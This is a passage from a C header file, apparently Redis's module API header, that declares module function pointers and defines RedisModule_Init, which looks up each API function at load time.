int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
/* Experimental APIs */
#ifdef REDISMODULE_EXPERIMENTAL_API
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(void*), long long timeout_ms);
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
#endif
/* This is included inline inside each Redis module. */
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
void *getapifuncptr = ((void**)ctx)[0];
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
REDISMODULE_GET_API(Alloc);
REDISMODULE_GET_API(Calloc);
REDISMODULE_GET_API(Free);
REDISMODULE_GET_API(Realloc);
REDISMODULE_GET_API(Strdup);
REDISMODULE_GET_API(CreateCommand);
REDISMODULE_GET_API(SetModuleAttribs);
REDISMODULE_GET_API(IsModuleNameBusy);
REDISMODULE_GET_API(WrongArity);
REDISMODULE_GET_API(ReplyWithLongLong);
REDISMODULE_GET_API(ReplyWithError);
REDISMODULE_GET_API(ReplyWithSimpleString);
REDISMODULE_GET_API(ReplyWithArray);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(ReplyWithStringBuffer);
REDISMODULE_GET_API(ReplyWithString);
REDISMODULE_GET_API(ReplyWithNull);
REDISMODULE_GET_API(ReplyWithCallReply);
REDISMODULE_GET_API(ReplyWithDouble);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(GetSelectedDb);
REDISMODULE_GET_API(SelectDb);
REDISMODULE_GET_API(OpenKey);
REDISMODULE_GET_API(CloseKey);
REDISMODULE_GET_API(KeyType);
REDISMODULE_GET_API(ValueLength);
REDISMODULE_GET_API(ListPush);
REDISMODULE_GET_API(ListPop);
REDISMODULE_GET_API(StringToLongLong);
REDISMODULE_GET_API(StringToDouble);
REDISMODULE_GET_API(Call);
REDISMODULE_GET_API(CallReplyProto);
REDISMODULE_GET_API(FreeCallReply);
REDISMODULE_GET_API(CallReplyInteger);
REDISMODULE_GET_API(CallReplyType);
REDISMODULE_GET_API(CallReplyLength);
REDISMODULE_GET_API(CallReplyArrayElement);
REDISMODULE_GET_API(CallReplyStringPtr);
REDISMODULE_GET_API(CreateStringFromCallReply);
REDISMODULE_GET_API(CreateString);
REDISMODULE_GET_API(CreateStringFromLongLong);
REDISMODULE_GET_API(CreateStringFromString);
REDISMODULE_GET_API(CreateStringPrintf);
REDISMODULE_GET_API(FreeString);
REDISMODULE_GET_API(StringPtrLen);
REDISMODULE_GET_API(AutoMemory);
REDISMODULE_GET_API(Replicate);
REDISMODULE_GET_API(ReplicateVerbatim);
REDISMODULE_GET_API(DeleteKey);
REDISMODULE_GET_API(UnlinkKey);
REDISMODULE_GET_API(StringSet);
REDISMODULE_GET_API(StringDMA);
REDISMODULE_GET_API(StringTruncate);
REDISMODULE_GET_API(GetExpire);
REDISMODULE_GET_API(SetExpire);
REDISMODULE_GET_API(ZsetAdd);
REDISMODULE_GET_API(ZsetIncrby);
REDISMODULE_GET_API(ZsetScore);
REDISMODULE_GET_API(ZsetRem);
REDISMODULE_GET_API(ZsetRangeStop);
REDISMODULE_GET_API(ZsetFirstInScoreRange);
REDISMODULE_GET_API(ZsetLastInScoreRange);
REDISMODULE_GET_API(ZsetFirstInLexRange);
REDISMODULE_GET_API(ZsetLastInLexRange);
REDISMODULE_GET_API(ZsetRangeCurrentElement);
REDISMODULE_GET_API(ZsetRangeNext);
REDISMODULE_GET_API(ZsetRangePrev);
REDISMODULE_GET_API(ZsetRangeEndReached);
REDISMODULE_GET_API(HashSet);
REDISMODULE_GET_API(HashGet);
REDISMODULE_GET_API(IsKeysPositionRequest);
REDISMODULE_GET_API(KeyAtPos);
REDISMODULE_GET_API(GetClientId);
REDISMODULE_GET_API(GetContextFlags);
REDISMODULE_GET_API(PoolAlloc);
REDISMODULE_GET_API(CreateDataType);
REDISMODULE_GET_API(ModuleTypeSetValue);
REDISMODULE_GET_API(ModuleTypeGetType);
REDISMODULE_GET_API(ModuleTypeGetValue);
REDISMODULE_GET_API(SaveUnsigned);
REDISMODULE_GET_API(LoadUnsigned);
REDISMODULE_GET_API(SaveSigned);
REDISMODULE_GET_API(LoadSigned);
REDISMODULE_GET_API(SaveString);
REDISMODULE_GET_API(SaveStringBuffer);
REDISMODULE_GET_API(LoadString);
REDISMODULE_GET_API(LoadStringBuffer);
REDISMODULE_GET_API(SaveDouble);
REDISMODULE_GET_API(LoadDouble);
REDISMODULE_GET_API(SaveFloat);
REDISMODULE_GET_API(LoadFloat);
REDISMODULE_GET_API(EmitAOF);
REDISMODULE_GET_API(Log);
REDISMODULE_GET_API(LogIOError);
REDISMODULE_GET_API(StringAppendBuffer);
REDISMODULE_GET_API(RetainString);
REDISMODULE_GET_API(StringCompare);
REDISMODULE_GET_API(GetContextFromIO);
REDISMODULE_GET_API(Milliseconds);
REDISMODULE_GET_API(DigestAddStringBuffer);
REDISMODULE_GET_API(DigestAddLongLong);
REDISMODULE_GET_API(DigestEndSequence);
#ifdef REDISMODULE_EXPERIMENTAL_API
REDISMODULE_GET_API(GetThreadSafeContext);
REDISMODULE_GET_API(FreeThreadSafeContext);
REDISMODULE_GET_API(ThreadSafeContextLock);
REDISMODULE_GET_API(ThreadSafeContextUnlock);
REDISMODULE_GET_API(BlockClient);
REDISMODULE_GET_API(UnblockClient);
REDISMODULE_GET_API(IsBlockedReplyRequest);
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
REDISMODULE_GET_API(GetBlockedClientPrivateData);
REDISMODULE_GET_API(AbortBlock);
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
#endif
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
return REDISMODULE_OK;
}
#else
/* Things only defined for the modules core, not exported to modules
* including this file. */
#define RedisModuleString robj
#endif /* REDISMODULE_CORE */
#endif /* REDISMOUDLE_H */